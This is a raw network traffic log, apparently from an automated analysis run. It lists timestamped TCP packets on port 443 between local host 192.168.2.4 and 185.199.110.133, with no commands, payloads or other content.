Sep 16, 2024 19:33:23.492918968 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.492939949 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.492947102 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.492949009 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.492955923 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.492980003 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.492994070 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.492999077 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493026972 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493035078 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493041992 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493058920 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493091106 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493096113 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493123055 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493124962 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493129969 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493139982 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493164062 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493176937 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493181944 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493227005 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493247032 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493257999 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493257999 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493266106 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493275881 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493305922 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493311882 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493316889 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493336916 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493359089 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493365049 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493386984 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493390083 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493406057 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493408918 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493416071 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493438005 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493483067 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493484020 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493494034 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493520021 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493541956 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493546963 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493575096 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493582964 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493586063 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493592978 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493608952 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493639946 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493644953 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493669033 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493670940 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493690014 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493716002 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493721008 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493747950 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493779898 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493797064 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493824959 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493829966 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493849993 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493858099 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493875027 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493901014 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493905067 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493916988 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.493943930 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493962049 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.493998051 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494005919 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494015932 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494024038 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494044065 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494069099 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494072914 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494085073 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494118929 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494137049 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494183064 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494194984 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494205952 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494209051 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494225979 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494256020 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494261026 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494273901 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494294882 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494313002 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494339943 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494345903 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494357109 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494383097 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494406939 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494438887 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494442940 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494452953 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494477987 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494496107 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494527102 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494532108 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494545937 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494560003 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494577885 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494612932 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494616985 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494627953 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494647980 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494667053 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494700909 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494705915 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494716883 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494733095 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494750023 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494781971 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494786978 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494801998 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494818926 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494838953 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494888067 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494893074 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494903088 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494911909 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494921923 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494936943 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494941950 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494955063 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494978905 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.494987011 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.494997025 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495019913 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495050907 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495057106 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495074987 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495075941 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495095968 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495124102 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495129108 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495151997 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495165110 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495182991 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495208979 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495213985 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495237112 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495245934 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495268106 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495294094 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495299101 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495321989 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495342970 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495359898 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495418072 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495418072 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495424986 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495436907 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495454073 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495485067 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495490074 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495516062 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495528936 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495536089 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495557070 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495562077 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495589972 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495598078 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495624065 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495647907 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495652914 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495675087 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495687008 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495707989 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495739937 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495745897 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495767117 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495776892 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495798111 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495827913 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495832920 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495857954 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495867014 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495883942 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495913029 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495918036 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495938063 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495944023 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495964050 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.495992899 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.495997906 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.496020079 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.496031046 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.496047974 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.496076107 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.496081114 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.496093035 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.496109962 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.496130943 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.496161938 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.496166945 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.496186972 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.496200085 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.496217966 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.496247053 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.496252060 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.496278048 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.506086111 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.506110907 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.506145000 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.506216049 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.506256104 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.506386995 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.610006094 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.650619030 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.650695086 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.650775909 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.650866985 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.650885105 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.650933981 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.650945902 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.650974035 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.650996923 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.651005983 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.651032925 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.651060104 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.651060104 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.651076078 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.651108980 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.651134968 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.651134968 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.651166916 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.651186943 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.651216030 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.651243925 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.651256084 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.651302099 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.651308060 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.651341915 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.651372910 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.651429892 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.651458979 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.651472092 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.651510000 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.651561022 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.683403969 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.685560942 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.685580015 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.685611010 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.685669899 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.685722113 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.685848951 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.797357082 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.827442884 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.827861071 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.827874899 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.827918053 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.827970982 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.828022957 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.828099966 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.859431982 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.859510899 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.906724930 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.971858025 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.971873045 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.971906900 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.971960068 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.972021103 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.972034931 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.972074032 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.972126007 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.972137928 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.972182989 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.972232103 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.972300053 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.972301006 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.972301006 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.972316980 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.972352028 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.972383022 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.972388029 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.972455025 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.972490072 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.972536087 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.972554922 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.972570896 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.972600937 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.972624063 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.972645044 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.972656965 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.972704887 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.972727060 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.972744942 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.972779989 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.972816944 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.972817898 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.972862959 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.972877026 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.972902060 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.972939014 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.972958088 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.973004103 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.973010063 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.973031044 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.973072052 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.973076105 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.973107100 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.973136902 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.973140955 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.973186970 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.973196983 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.973211050 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.973263025 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.973321915 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.973387003 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.973406076 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:23.973472118 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.973494053 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:23.973570108 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:24.015449047 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:24.015527010 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:24.035418987 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:24.131448030 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:24.131526947 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:24.153254032 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:24.153419971 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:24.153453112 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:24.153485060 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:24.153539896 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:24.153563976 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:24.153599024 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:24.153599024 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:24.153633118 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:24.153656960 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:24.153736115 CEST	49767	443	192.168.2.4	185.199.110.133
